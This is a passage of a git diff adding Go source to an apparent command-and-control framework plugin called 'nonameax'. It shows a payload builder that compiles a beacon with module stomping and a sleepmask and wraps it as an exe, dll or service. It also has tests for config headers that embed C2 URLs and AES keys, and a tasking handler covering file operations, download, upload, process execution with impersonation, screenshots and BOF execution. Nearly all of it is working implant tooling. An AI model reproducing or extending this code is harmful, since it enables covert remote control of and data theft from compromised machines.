%w", err) + } + } + if len(sleepmaskBytes) > 0 { + smHdrPath := filepath.Join(naxRoot, "src_beacon", "include", "Config_sleepmask.h") + smH := generateSleepmaskH(sleepmaskBytes) + if err := writeIfChanged(smHdrPath, smH); err != nil { + buildLog(2, "Failed to write Config_sleepmask.h: %v", err) + return nil, "", fmt.Errorf("nonameax: BuildPayload: write Config_sleepmask.h: %w", err) + } + } + + transportSubdir := "http" + if transportProfile == 1 { + transportSubdir = "smb" + } + buildDir := filepath.Join(naxRoot, "src_beacon", "build", transportSubdir) + + if fullRebuild { + buildLog(1, "Cleaning previous build artifacts...") + os.RemoveAll(buildDir) + os.MkdirAll(buildDir, 0755) + } else { + buildLog(1, "Link-only build (Config.c + re-link)") + } + + configObj := filepath.Join(buildDir, "Config.obj") + if debug { + configObj = filepath.Join(buildDir, "Config.dpic.obj") + } + firstBuild := false + if _, err := os.Stat(configObj); os.IsNotExist(err) { + firstBuild = true + } + + var target string + if fullRebuild || firstBuild { + if firstBuild { + buildLog(1, "First build detected - full compilation required") + } + if debug { + target = "debug-components" + } else { + target = "components" + } + } else { + if debug { + target = "debug-link-components" + } else { + target = "link-components" + } + } + + stompMode := "1" + if !moduleStomp { + stompMode = "0" + } + execMode := "1" + if !useThreadPool { + execMode = "0" + } + + // Only rebuild loader when technique defines change - compare against + // a sentinel file. Otherwise reuse cached .o files for fast re-link. + // Transport profile is NOT included — the loader doesn't use it. + loaderObjDir := filepath.Join(naxRoot, "src_loader", "bin", "obj") + sentinel := filepath.Join(loaderObjDir, ".nax_defines") + currentDefines := stompMode + ":" + execMode + if prev, err := os.ReadFile(sentinel); err != nil || strings.TrimSpace(string(prev)) != currentDefines { + buildLog(1, "Loader defines changed - rebuilding") + os.RemoveAll(loaderObjDir) + os.MkdirAll(loaderObjDir, 0755) + os.WriteFile(sentinel, []byte(currentDefines), 0644) + } + + makeArgs := []string{"-C", naxRoot, target, + "NAX_STOMP_MODE=" + stompMode, + "NAX_EXEC_MODE=" + execMode, + "NAX_TRANSPORT_PROFILE=" + strconv.Itoa(transportProfile), + } + buildLog(1, "Compiling: make %s", strings.Join(makeArgs[1:], " ")) + buildCmd := exec.Command("make", makeArgs...) + buildOut, buildErr := buildCmd.CombinedOutput() + for _, line := range strings.Split(string(buildOut), "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + if strings.Contains(line, "section below image base") || + strings.HasPrefix(line, "BIN ") || + strings.HasPrefix(line, "DEBUG ") || + strings.HasPrefix(line, "loader ") || + strings.HasPrefix(line, "hdr ") || + strings.HasPrefix(line, "beacon ") { + continue + } + if strings.HasPrefix(line, "[+]") || strings.Contains(line, "done") || strings.Contains(line, "ready") { + buildLog(3, "%s", strings.TrimPrefix(line, "[+] ")) + } else if strings.HasPrefix(line, "[-]") || strings.HasPrefix(line, "Error") { + buildLog(2, "%s", strings.TrimPrefix(line, "[-] ")) + } else if strings.HasPrefix(line, "[*]") { + buildLog(1, "%s", strings.TrimPrefix(line, "[*] ")) + } else { + buildLog(0, "%s", line) + } + } + if buildErr != nil { + buildLog(2, "Build failed: %v", buildErr) + return nil, "", fmt.Errorf("nonameax: BuildPayload: make %s failed: %v", target, buildErr) + } + + /* ========= [ read component binaries ] ========= */ + loaderPath := filepath.Join(naxRoot, "src_loader", "bin", "nax_loader.x64.bin") + var beaconPath, pdataPath, xdataPath, rvaPath string + if debug { + beaconPath = filepath.Join(buildDir, "beacon.x64.debug.bin") + pdataPath = filepath.Join(buildDir, "beacon.debug.pdata.bin") + xdataPath = filepath.Join(buildDir, "beacon.debug.xdata.bin") + rvaPath = filepath.Join(buildDir, "beacon.debug.text_rva") + } else { + beaconPath = filepath.Join(buildDir, "beacon.x64.bin") + pdataPath = filepath.Join(buildDir, "beacon.pdata.bin") + xdataPath = filepath.Join(buildDir, "beacon.xdata.bin") + rvaPath = filepath.Join(buildDir, "beacon.text_rva") + } + + loader, err := os.ReadFile(loaderPath) + if err != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: read loader: %w", err) + } + beacon, err := os.ReadFile(beaconPath) + if err != nil { + return nil, "", fmt.Errorf("nonameax: BuildPayload: read beacon: %w", err) + } + + var pdata, xdata []byte + var textRva uint32 + var flags uint32 + + if moduleStomp { + flags |= flagModStomp + if stompUnwind { + flags |= flagStompPdat + pdata, _ = os.ReadFile(pdataPath) + xdata, _ = os.ReadFile(xdataPath) + textRva, _ = readTextRVA(rvaPath) + } + } + + /* ========= [ pack payload in Go (always v2) ] ========= */ + buildLog(1, "Packing v2: loader=%d beacon=%d pdata=%d xdata=%d flags=0x%04x dll=%s", + len(loader), len(beacon), len(pdata), len(xdata), flags, stompDll) + payload := packNaxBin(loader, beacon, pdata, xdata, textRva, flags, stompDll) + + binName := "nax.x64.bin" + if debug { + binName = "nax.x64.debug.bin" + } + + buildLog(3, "%s packed successfully (%d bytes)", binName, len(payload)) + + /* ========= [ PE wrapper (exe/dll/svc) ] ========= */ + if outputFormat != "bin" { + buildLog(1, "Wrapping PIC in PE format: %s", outputFormat) + wrapped, peFilename, err := compileWrapper(payload, outputFormat, svcName, dllExport, debug, buildLog) + if err != nil { + buildLog(2, "PE wrapper failed: %v", err) + return nil, "", fmt.Errorf("nonameax: PE wrapper: %w", err) + } + payload = wrapped + binName = peFilename + } + + return payload, binName, nil +} diff --git a/src_server/agent_nonameax/pl_build_test.go b/src_server/agent_nonameax/pl_build_test.go new file mode 100644 index 0000000..c0c74f9 --- /dev/null +++ b/src_server/agent_nonameax/pl_build_test.go @@ -0,0 +1,210 @@ +package main + +import ( + "strings" + "testing" +) + +func TestGenerateConfigH(t *testing.T) { + key := []byte{ + 0x48, 0xE9, 0x5D, 0x5D, 0x85, 0xDE, 0xE1, 0x46, + 0x9F, 0x21, 0xC3, 0xBE, 0xC4, 0x63, 0xB4, 0x58, + } + out := string(generateConfigH("192.168.77.128", 8080, "/api/v1/status", key, 10000, 0, nil, 0xa04a4178, 0xdeadbeef, nil, false)) + + checks := []string{ + "#pragma once", + "#define NAX_SLEEP_MS 10000u", + "#define NAX_JITTER_PCT 0u", + "#define NAX_SID_LEN 17u", + "#define NAX_C2_URL_WRITE( p ) do {", + "(p)[ 0]='h';", + "(p)[ 3]='p';", + "#define NAX_AES_KEY_WRITE( p ) do {", + "(p)[ 0]=0x48;", + "(p)[15]=0x58;", + "} while(0)", + } + for _, s := range checks { + if !strings.Contains(out, s) { + t.Errorf("output missing: %q", s) + } + } +} + +func TestGenerateConfigH_DifferentValues(t *testing.T) { + key := []byte{ + 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11, + 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, + } + out := string(generateConfigH("10.0.0.1", 443, "/index.html", key, 30000, 25, nil, 0xa04a4178, 0xdeadbeef, nil, false)) + + checks := []string{ + "#define NAX_SLEEP_MS 30000u", + "#define NAX_JITTER_PCT 25u", + "(p)[ 0]=0xAA;", + "C2 URL: http://10.0.0.1:443/index.html", + "(p)[ 0]='h'; (p)[ 1]='t'; (p)[ 2]='t'; (p)[ 3]='p'; (p)[ 4]=':';", + } + for _, s := range checks { + if !strings.Contains(out, s) { + t.Errorf("output missing: %q", s) + } + } + + if !strings.Contains(out, "'\\0';") { + t.Error("missing NUL terminator in URL_WRITE") + } +} + +func TestGenerateConfigH_SSL_DefaultPort(t *testing.T) { + key := []byte{ + 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11, + 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, + } + out := string(generateConfigH("10.0.0.1", 443, "/index.html", key, 30000, 25, nil, 0xa04a4178, 0xdeadbeef, nil, true)) + + checks := []string{ + "C2 URL: https://10.0.0.1/index.html", + "(p)[ 0]='h'; (p)[ 1]='t'; (p)[ 2]='t'; (p)[ 3]='p'; (p)[ 4]='s'; (p)[ 5]=':';", + } + for _, s := range checks { + if !strings.Contains(out, s) { + t.Errorf("output missing: %q", s) + } + } + if strings.Contains(out, ":443/") { + t.Error("default HTTPS port 443 should be omitted from URL") + } +} + +func TestGenerateConfigH_SSL_CustomPort(t *testing.T) { + key := []byte{ + 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11, + 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, + } + out := string(generateConfigH("10.0.0.1", 8443, "/index.html", key, 30000, 25, nil, 0xa04a4178, 0xdeadbeef, nil, true)) + + checks := []string{ + "C2 URL: https://10.0.0.1:8443/index.html", + } + for _, s := range checks { + if !strings.Contains(out, s) { + t.Errorf("output missing: %q", s) + } + } +} + +func TestGenerateConfigH_HTTP_DefaultPort(t *testing.T) { + key := []byte{ + 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x00, 0x11, + 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, + } + out := string(generateConfigH("10.0.0.1", 80, "/path", key, 5000, 0, nil, 0xa04a4178, 0xdeadbeef, nil, false)) + + if !strings.Contains(out, "C2 URL: http://10.0.0.1/path") { + t.Errorf("default HTTP port 80 should be omitted from URL, got:\n%s", out) + } + if strings.Contains(out, ":80/") { + t.Error("default HTTP port 80 should be omitted from URL") + } +} + +func TestGenerateConfigH_NilProfile(t *testing.T) { + key := []byte{ + 0x48, 0xE9, 0x5D, 0x5D, 0x85, 0xDE, 0xE1, 0x46, + 0x9F, 0x21, 0xC3, 0xBE, 0xC4, 0x63, 0xB4, 0x58, + } + out := string(generateConfigH("192.168.1.1", 8080, "/test", key, 10000, 5, nil, 0xa04a4178, 0xdeadbeef, nil, false)) + + // Nil profile should NOT emit NAX_PROFILE_LEN or NAX_PROFILE_WRITE + if strings.Contains(out, "NAX_PROFILE_LEN") { + t.Error("nil profileBytes should not emit NAX_PROFILE_LEN") + } + if strings.Contains(out, "NAX_PROFILE_WRITE") { + t.Error("nil profileBytes should not emit NAX_PROFILE_WRITE") + } + // But other defines should still be present + if !strings.Contains(out, "#define NAX_SID_LEN") { + t.Error("missing NAX_SID_LEN") + } +} + +func TestGenerateConfigH_WithProfile(t *testing.T) { + key := []byte{ + 0x48, 0xE9, 0x5D, 0x5D, 0x85, 0xDE, 0xE1, 0x46, + 0x9F, 0x21, 0xC3, 0xBE, 0xC4, 0x63, 0xB4, 0x58, + } + profile := []byte{0x02, 0x00, 0xAA, 0xBB, 0xCC} + out := string(generateConfigH("192.168.1.1", 8080, "/test", key, 10000, 5, profile, 0xa04a4178, 0xdeadbeef, nil, false)) + + configChecks := []string{ + "#define NAX_PROFILE_LEN 5u", + "#include \"Config_profile.h\"", + "#define NAX_SID_LEN 17u", + } + for _, s := range configChecks { + if !strings.Contains(out, s) { + t.Errorf("Config.h missing: %q", s) + } + } + + profOut := string(generateProfileH(profile)) + profChecks := []string{ + "#define NAX_PROFILE_WRITE( p ) do {", + "(p)[ 0]=0x02;", + "(p)[ 1]=0x00;", + "(p)[ 2]=0xAA;", + "(p)[ 3]=0xBB;", + "(p)[ 4]=0xCC;", + "} while(0)", + } + for _, s := range profChecks { + if !strings.Contains(profOut, s) { + t.Errorf("Config_profile.h missing: %q", s) + } + } +} + +func TestGenerateConfigH_ProfileFromListenerConfig(t *testing.T) { + cfg := map[string]any{ + "user_agents": []any{"Mozilla/5.0 TestAgent"}, + "rotation": "random", + "get_uris": []any{"/api/v1", "/check"}, + "post_uris": []any{"/submit"}, + "cookie_name": "sid", + } + p := parseProfileFromListenerConfig(cfg) + if p.UserAgent != "Mozilla/5.0 TestAgent" { + t.Errorf("expected UserAgent=%q, got %q", "Mozilla/5.0 TestAgent", p.UserAgent) + } + if p.Rotation != "random" { + t.Errorf("expected Rotation=%q, got %q", "random", p.Rotation) + } + if len(p.Get.URIs) != 2 { + t.Errorf("expected 2 GET URIs, got %d", len(p.Get.URIs)) + } + + profileBytes := EncodeProfileBodyV2(p) + if len(profileBytes) == 0 { + t.Fatal("EncodeProfileBodyV2 returned empty bytes") + } + + key := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10} + out := string(generateConfigH("192.168.1.1", 8080, "/test", key, 10000, 5, profileBytes, 0xa04a4178, 0xdeadbeef, nil, false)) + + if !strings.Contains(out, "#define NAX_PROFILE_LEN") { + t.Error("missing NAX_PROFILE_LEN with real profile") + } + if !strings.Contains(out, "#include \"Config_profile.h\"") { + t.Error("missing Config_profile.h include with real profile") + } + + profOut := string(generateProfileH(profileBytes)) + if !strings.Contains(profOut, "#define NAX_PROFILE_WRITE( p ) do {") { + t.Error("missing NAX_PROFILE_WRITE in Config_profile.h") + } + if !strings.Contains(profOut, "0x02") { + t.Error("profile should start with version byte 0x02") + } +} diff --git a/src_server/agent_nonameax/pl_commands.go b/src_server/agent_nonameax/pl_commands.go new file mode 100644 index 0000000..48d9324 --- /dev/null +++ b/src_server/agent_nonameax/pl_commands.go @@ -0,0 +1,1103 @@ +package main + +import ( + "encoding/base64" + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "os" + "os/exec" + "path/filepath" + "strconv" + "strings" + "time" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +const maxPathBytes = 512 + + +func buildPathCmd(cmdId byte, cmdName string, path string) ([]byte, error) { + pathBytes := []byte(path) + if len(pathBytes) > maxPathBytes { + return nil, fmt.Errorf("nonameax: %s: path too long (max %d bytes)", cmdName, maxPathBytes) + } + data := make([]byte, 5+len(pathBytes)) + data[0] = cmdId + binary.LittleEndian.PutUint32(data[1:5], uint32(len(pathBytes))) + copy(data[5:], pathBytes) + return data, nil +} + +func formatSleepMs(ms uint32) string { + if ms == 0 { + return "0s" + } + if ms < 1000 { + return fmt.Sprintf("%dms", ms) + } + if ms%1000 == 0 { + return fmt.Sprintf("%ds", ms/1000) + } + return fmt.Sprintf("%.1fs", float64(ms)/1000.0) +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + command, _ := args["command"].(string) + subcommand, _ := args["subcommand"].(string) + + // Task data layout (all commands): + // cmd_id(1) | args_len(4LE) | args... + // args_len uses 4 bytes to support BOF payloads > 64 KB (e.g. 300 KB privcheck). + + switch command { + case "whoami": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_WHOAMI, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "whoami task queued"} + return task, msg, nil + + case "sleep": + sleepStr, _ := args["sleep"].(string) + if sleepStr == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: sleep: 'sleep' argument required") + } + var sleepMs int64 + if n, err := strconv.ParseInt(sleepStr, 10, 64); err == nil { + sleepMs = n * 1000 + } else if d, err := time.ParseDuration(sleepStr); err == nil { + sleepMs = d.Milliseconds() + } else { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: sleep: must be seconds (e.g. 10) or duration (e.g. 500ms, 1.5s, 1m30s)") + } + if sleepMs < 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: sleep: value must be ≥ 0") + } + jitterPct := 0 + if jv, ok := args["jitter"].(float64); ok { + jitterPct = int(jv) + } + if jitterPct < 0 || jitterPct > 100 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: sleep: jitter must be 0–100") + } + // cmd_id(1) | args_len(4LE)=5 | sleep_ms(4LE) | jitter(1) + data := make([]byte, 10) + data[0] = CMD_SLEEP + binary.LittleEndian.PutUint32(data[1:5], 5) + binary.LittleEndian.PutUint32(data[5:9], uint32(sleepMs)) + data[9] = byte(jitterPct) + var msgText string + if jitterPct > 0 { + msgText = fmt.Sprintf("sleep set to %s (jitter %d%%)", formatSleepMs(uint32(sleepMs)), jitterPct) + } else { + msgText = fmt.Sprintf("sleep set to %s", formatSleepMs(uint32(sleepMs))) + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: msgText} + return task, msg, nil + + case "terminate": + switch subcommand { + case "thread": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_EXIT_THREAD, 0x00, 0x00, 0x00, 0x00}, + Sync: false, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "terminate thread task queued"} + return task, msg, nil + case "process": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_EXIT_PROC, 0x00, 0x00, 0x00, 0x00}, + Sync: false, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "terminate process task queued"} + return task, msg, nil + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: terminate: subcommand must be 'thread' or 'process'") + } + + case "cd": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: cd: 'path' argument required") + } + data, err := buildPathCmd(CMD_CD, "cd", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("cd to %s task queued", path)} + return task, msg, nil + + case "pwd": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_PWD, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "pwd task queued"} + return task, msg, nil + + case "mkdir": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: mkdir: 'path' argument required") + } + data, err := buildPathCmd(CMD_MKDIR, "mkdir", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("mkdir %s task queued", path)} + return task, msg, nil + + case "rmdir": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rmdir: 'path' argument required") + } + data, err := buildPathCmd(CMD_RMDIR, "rmdir", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("rmdir %s task queued", path)} + return task, msg, nil + + case "rm": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: rm: 'path' argument required") + } + data, err := buildPathCmd(CMD_RM, "rm", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("rm %s queued", path)} + return task, msg, nil + + case "cat": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: cat: 'path' argument required") + } + data, err := buildPathCmd(CMD_CAT, "cat", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("cat %s task queued", path)} + return task, msg, nil + + case "ls": + path, _ := args["path"].(string) + var data []byte + if path == "" { + data = []byte{CMD_LS, 0x00, 0x00, 0x00, 0x00} + } else { + var err error + data, err = buildPathCmd(CMD_LS, "ls", path) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, err + } + } + lsMsg := "ls (current directory) task queued" + if path != "" { + lsMsg = fmt.Sprintf("ls %s task queued", path) + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: lsMsg} + return task, msg, nil + + case "screenshot": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_SCREENSHOT, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "screenshot queued"} + return task, msg, nil + + case "download": + path, _ := args["path"].(string) + if path == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: download: 'path' argument required") + } + dlChunkSize := 0 + if csRaw, ok := args["chunk_size"].(string); ok && csRaw != "" { + parsed, csErr := parseChunkSize(csRaw) + if csErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: download: %w", csErr) + } + dlChunkSize = parsed + } + pathBytes := []byte(path) + data := make([]byte, 9+len(pathBytes)) + data[0] = CMD_DOWNLOAD + binary.LittleEndian.PutUint32(data[1:5], uint32(4+len(pathBytes))) + binary.LittleEndian.PutUint32(data[5:9], uint32(dlChunkSize)) + copy(data[9:], pathBytes) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + dlMsg := fmt.Sprintf("download %s queued", path) + if dlChunkSize > 0 { + dlMsg = fmt.Sprintf("download %s queued (chunk size: %s)", path, humanSize(dlChunkSize)) + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: dlMsg} + return task, msg, nil + + case "upload": + remotePath, _ := args["remote_path"].(string) + if remotePath == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: upload: 'remote_path' argument required") + } + fileB64, _ := args["file"].(string) + if fileB64 == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: upload: 'file' argument required") + } + fileContent, err := base64.StdEncoding.DecodeString(fileB64) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: upload: base64 decode: %w", err) + } + + chunkSize := UPLOAD_CHUNK_DEFAULT + if csRaw, ok := args["chunk_size"].(string); ok && csRaw != "" { + parsed, csErr := parseChunkSize(csRaw) + if csErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: upload: %w", csErr) + } + chunkSize = parsed + } + + numChunks := (len(fileContent) + chunkSize - 1) / chunkSize + startUploadSession(agentData.Id, remotePath, fileContent, chunkSize) + + infoMsg := fmt.Sprintf("upload %s (%s, %d chunks @ %s) started", remotePath, humanSize(len(fileContent)), numChunks, humanSize(chunkSize)) + task := adaptix.TaskData{ + Type: taskTypeTask, + Completed: true, + FinishDate: time.Now().Unix(), + Sync: true, + MessageType: messageSeverityInfo, + Message: infoMsg, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: infoMsg} + return task, msg, nil + + case "ps": + switch subcommand { + case "list": + task := adaptix.TaskData{ + Type: taskTypeTask, + Data: []byte{CMD_PS_LIST, 0x00, 0x00, 0x00, 0x00}, + Sync: true, + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: "ps list task queued"} + return task, msg, nil + + case "kill": + pidVal, ok := args["pid"].(float64) + if !ok || pidVal <= 0 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: ps kill: 'pid' argument required (positive integer)") + } + pid := uint32(pidVal) + data := make([]byte, 9) + data[0] = CMD_PS_KILL + binary.LittleEndian.PutUint32(data[1:5], 4) + binary.LittleEndian.PutUint32(data[5:9], pid) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("ps kill %d task queued", pid)} + return task, msg, nil + + case "run": + cmdline, _ := args["args"].(string) + if cmdline == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: ps run: 'args' argument required (command line)") + } + var flags byte + if v, ok := args["-o"].(bool); ok && v { + flags |= 0x01 + } + if v, ok := args["-s"].(bool); ok && v { + flags |= 0x02 + } + if v, ok := args["-i"].(bool); ok && v { + flags |= 0x04 + } + cmdlineBytes := []byte(cmdline) + // beacon args: flags(1) + cmdline_len(4LE) + cmdline + argsLen := 1 + 4 + len(cmdlineBytes) + data := make([]byte, 5+argsLen) + data[0] = CMD_PS_RUN + binary.LittleEndian.PutUint32(data[1:5], uint32(argsLen)) + data[5] = flags + binary.LittleEndian.PutUint32(data[6:10], uint32(len(cmdlineBytes))) + copy(data[10:], cmdlineBytes) + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + var parts []string + parts = append(parts, fmt.Sprintf("ps run queued: %s", cmdline)) + if flags&0x01 != 0 { + parts = append(parts, "output") + } + if flags&0x02 != 0 { + parts = append(parts, "suspended") + } + if flags&0x04 != 0 { + parts = append(parts, "impersonation") + } + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: strings.Join(parts, " | ")} + return task, msg, nil + + default: + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: ps: unknown subcommand %q", subcommand) + } + + case "bof": + bofB64, _ := args["file"].(string) + if bofB64 == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: bof: 'file' argument required") + } + bofBytes, decErr := base64.StdEncoding.DecodeString(bofB64) + if decErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: bof: base64 decode: %w", decErr) + } + if len(bofBytes) < 20 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: bof: file too small to be a valid COFF") + } + argSpec, _ := args["args"].(string) + packedArgs, packErr := packBofArgs(argSpec) + if packErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: bof: args pack: %w", packErr) + } + // Wire v2: cmd_id(1) | args_len(4LE) | async(1) | timeout(4LE) | bof_size(4LE) | bof | args_size(4LE) | args + bofSize := len(bofBytes) + argsSize := len(packedArgs) + innerLen := 1 + 4 + 4 + bofSize + 4 + argsSize + data := make([]byte, 5+innerLen) + data[0] = CMD_BOF + binary.LittleEndian.PutUint32(data[1:5], uint32(innerLen)) + data[5] = 0 // sync + binary.LittleEndian.PutUint32(data[6:10], 0) + binary.LittleEndian.PutUint32(data[10:14], uint32(bofSize)) + copy(data[14:14+bofSize], bofBytes) + binary.LittleEndian.PutUint32(data[14+bofSize:18+bofSize], uint32(argsSize)) + if argsSize > 0 { + copy(data[18+bofSize:], packedArgs) + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{Status: messageSeverityInfo, Message: fmt.Sprintf("bof queued (%d bytes COFF)", bofSize)} + return task, msg, nil + + case "execute": + if subcommand != "bof" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: execute: unsupported subcommand %q", subcommand) + } + + bofB64, _ := args["bof_file"].(string) + if bofB64 == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: execute bof: 'bof_file' argument required") + } + bofBytes, decErr := base64.StdEncoding.DecodeString(bofB64) + if decErr != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: execute bof: base64 decode: %w", decErr) + } + if len(bofBytes) < 20 { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: execute bof: file too small to be a valid COFF") + } + + var packedArgs []byte + if paramStr, ok := args["param_data"].(string); ok && paramStr != "" { + decoded, b64Err := base64.StdEncoding.DecodeString(paramStr) + if b64Err != nil { + packedArgs = []byte(paramStr) + } else { + packedArgs = decoded + } + } + + asyncFlag := byte(0) + if _, ok := args["-a"]; ok { + asyncFlag = 1 + } + timeoutSecs := uint32(0) + if tVal, ok := args["timeout"].(float64); ok && tVal > 0 { + timeoutSecs = uint32(tVal) + } + + bofSize := len(bofBytes) + argsSize := len(packedArgs) + innerLen := 1 + 4 + 4 + bofSize + 4 + argsSize + data := make([]byte, 5+innerLen) + data[0] = CMD_BOF + binary.LittleEndian.PutUint32(data[1:5], uint32(innerLen)) + data[5] = asyncFlag + binary.LittleEndian.PutUint32(data[6:10], timeoutSecs) + binary.LittleEndian.PutUint32(data[10:14], uint32(bofSize)) + copy(data[14:14+bofSize], bofBytes) + binary.LittleEndian.PutUint32(data[14+bofSize:18+bofSize], uint32(argsSize)) + if argsSize > 0 { + copy(data[18+bofSize:], packedArgs) + } + + mode := "sync" + if asyncFlag == 1 { + mode = "async" + } + task := adaptix.TaskData{Type: taskTypeTask, Data: data, Sync: true} + msg := adaptix.ConsoleMessageData{ + Status: messageSeverityInfo, + Message: fmt.Sprintf("execute bof queued [%s] (%d bytes COFF, %d bytes args)", mode, bofSize, argsSize), + } + return task, msg, nil + + case "profile": + fileB64, _ := args["file"].(string) + if fileB64 == "" { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + errors.New("nonameax: profile: 'file' argument required") + } + jsonBytes, err := base64.StdEncoding.DecodeString(fileB64) + if err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: profile: base64 decode: %w", err) + } + var profileJSON map[string]any + if err := json.Unmarshal(jsonBytes, &profileJSON); err != nil { + return adaptix.TaskData{}, adaptix.ConsoleMessageData{}, + fmt.Errorf("nonameax: profile: invalid JSON: %w", err) + } + 